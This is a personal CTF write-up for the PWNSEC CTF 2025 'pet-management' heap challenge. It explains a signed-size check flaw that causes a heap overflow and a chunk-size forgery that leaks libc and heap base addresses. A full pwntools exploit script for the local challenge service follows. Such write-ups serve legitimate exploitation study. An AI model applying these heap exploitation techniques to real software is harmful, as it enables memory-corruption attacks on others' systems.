tsune Help

2025-7

Challenge information

  • CTF: PWNSEC CTF 2025

  • Challenge: pwn/pet-management

  • Solves: 10

  • Description: ``

  • Time-wasting to solve: 180 min

Writeup

Today's goal is leak the libc address.

Heap challenge is fun from point of puzzle, but unlink mitigation is worth 😢.

Analysis

Following functions were implemented.

  1. add a pet

    • allocate arbitrary size with following condition

    • if (bytes s<= 0 || bytes s> 0x54f)

  2. play with pet

  3. show a pet

    • show pet information:

      • name: heap <- useful to leak heap chunk

      • size: bss

      • age: bss

      • gender: bss

  4. edit a pet

    • edit existed pet information

    • has critical vulnerability

  5. free a pet

    • free heap chunk, zero filling target pet information.

  6. exit

004020e1 int64_t sub_4020e1() 004020ef puts(str: "==========================================") 004020fe puts(str: "==========Pet Management System===========") 0040210d puts(str: "==========================================") 0040211c puts(str: "1. Add a pet") 0040212b puts(str: "2. Play with pet") 0040213a puts(str: "3. Show a pet") 00402149 puts(str: "4. Edit a pet") 00402158 puts(str: "5. Free a pet") 00402173 return printf(format: ">>> ")

Vulnerability

Critical vulnerability was type-confusion. signed size like -1 passing size validation, however 3rd argument of sub_4014de will be treated as unsigned.

This cause heap-based buffer overflow.

00401f6b int64_t sub_401f6b() 00401f7d puts(str: "Enter pet index to edit: ") 00401f82 int32_t rax = sub_4015d3() 00401f82 00401fad if (rax s< 0 || rax s> 9 || *(sx.q(rax) * 0x58 + &data_405060) == 0) 00401fb9 return puts(str: "invalid index") 00401fb9 00401fca puts(str: "Enter size name to edit: ") 00401fcf int64_t rax_6 = sub_4015d3() 00401fcf 00401ff1 if (rax_6 s> sx.q(*(sx.q(rax) * 0x58 + &data_405068))) 00401ffd return puts(str: "invalid size") 00401ffd 0040200e puts(str: "Enter name to read: ") 00402033 return sub_4014de(0, *(sx.q(rax) * 0x58 + &data_405060), rax_6)

Leak

Heap-based buffer overflow is common, known vulnerability. The known strategy to leak tcache's next addr is falsifying the size and make corrupted heap chunks.

Input system of this application must push '\0' at the end of EOF. So during the competition, I didn't come up with idea to leak something by show a pet function.

Btw, while upsolve this challenge, I came up with idea to leak libc addr.

  1. heap feng-shui

    • Screenshot_20251121_232339.png
  2. falsify size

    • Screenshot_20251121_233420-1.png
  3. free corrupted chunk

    • Screenshot_20251121_234214.png
  4. alloc 0x100 chunk

    • now allocate 0x100 chunk.

    • remember that glibc allocator(malloc) cache system allocate heap from unsorted bins if requested size less than unsorted bins size.

    • with this allocating, glibc renew unsorted bins' linked-list. this is split allocating in unsorted bins' cache system.

    • Screenshot_20251121_235020.png

After this heap operation, we can leak unsorted bins' next addr using show a pet function.

Also, we can still the corrupted chunk as an oracle to leak other addr such as safe-linked tcache pointer.

from pwn import * from icecream import ic import sys import re import inspect e = ELF("chall",checksec=False) libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False) ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False) nc = "nc 127.0.0.1 9999" if "nc" in nc: HOST = nc.split(" ")[1] PORT = int(nc.split(" ")[2]) if "http" in nc: from urllib.parse import urlparse HOST = urlparse(nc).hostname PORT = urlparse(nc).port dbg = 1 g_script = """ #set max-visualize-chunk-size 0x300 """ context.binary = e if len(sys.argv) > 1: io = remote(host=HOST,port=PORT) else: io = e.process() if dbg: gdb.attach(io,g_script) s = lambda b: io.send(b) sa = lambda a,b: io.sendafter(a,b) sl = lambda b: io.sendline(b) sln = lambda b: io.sendline(str(b).encode()) sla = lambda a,b: io.sendlineafter(a,b) r = lambda : io.recv() ru = lambda b:io.recvuntil(b) rl = lambda : io.recvline() pu32= lambda b : u32(b.ljust(4,b"\0")) pu64= lambda b : u64(b.ljust(8,b"\0")) fsp = lambda b : f"%{b}$p".encode() shell = lambda : io.interactive() def hl(v: int): print(f"[*] {(m := re.search(r'hl\s*\(\s*(.+?)\s*\)', inspect.getframeinfo(inspect.currentframe().f_back).code_context[0].strip())) and m.group(1) or '?'}: {hex(v)}") payload = b"" def rst():global payload;payload = b"";log.info("***PAYLOAD RESET***") def pay(*args, **kwargs): global payload; payload += b"".join([a if type(a) == bytes else (a.encode() if type(a) == str else p64(a)) for a in args]) #0x5060 sln(1) sln(0x20) sl(b"A"*0x10) sln(0x810) sl(b"1") sl(b"a"*0x10) sl(b"A"*0x10) sln(1) sln(0x100) sl(b"B"*0x100) sln(0x810) sl(b"1") sl(b"b"*0x10) sl(b"B"*0x10) sln(1) sln(0x300) sl(b"B"*0x100) sln(0x810) sl(b"1") sl(b"b"*0x10) sl(b"B"*0x10) sln(1) sln(0x20) sl(b"A"*0x8) sln(0x810) sl(b"1") sl(b"a"*0x10) sl(b"A"*0x10) sln(4) sln(0) sln(-1) pay( b"C"*0x20, 0, 0x421 ) sl(payload) sln(5) sln(1) sln(1) sln(0x100) sl(b"D"*0x10) sln(0x810) sl(b"1") sl(b"d"*0x10) sl(b"D"*0x10) sln(3) r() sln(2) ru(b"Name: ") leak = rl().strip() leak = pu64(leak) leak = leak << 8 leak += 0x20 hl(leak) libc.address = leak - (0x000078b35f203b20 -0x000078b35f000000 ) hl(libc.address) sln(1) sln(0x100) sl(b"E"*0x10) sln(0x810) sl(b"1") sl(b"e"*0x10) sl(b"E"*0x10) sln(5) sln(4) sln(3) r() sln(2) ru(b"Name: ") leak = rl().strip() leak = pu64(leak) hl(leak) heapBase = leak << 12 hl(heapBase)
Last modified: 21 November 2025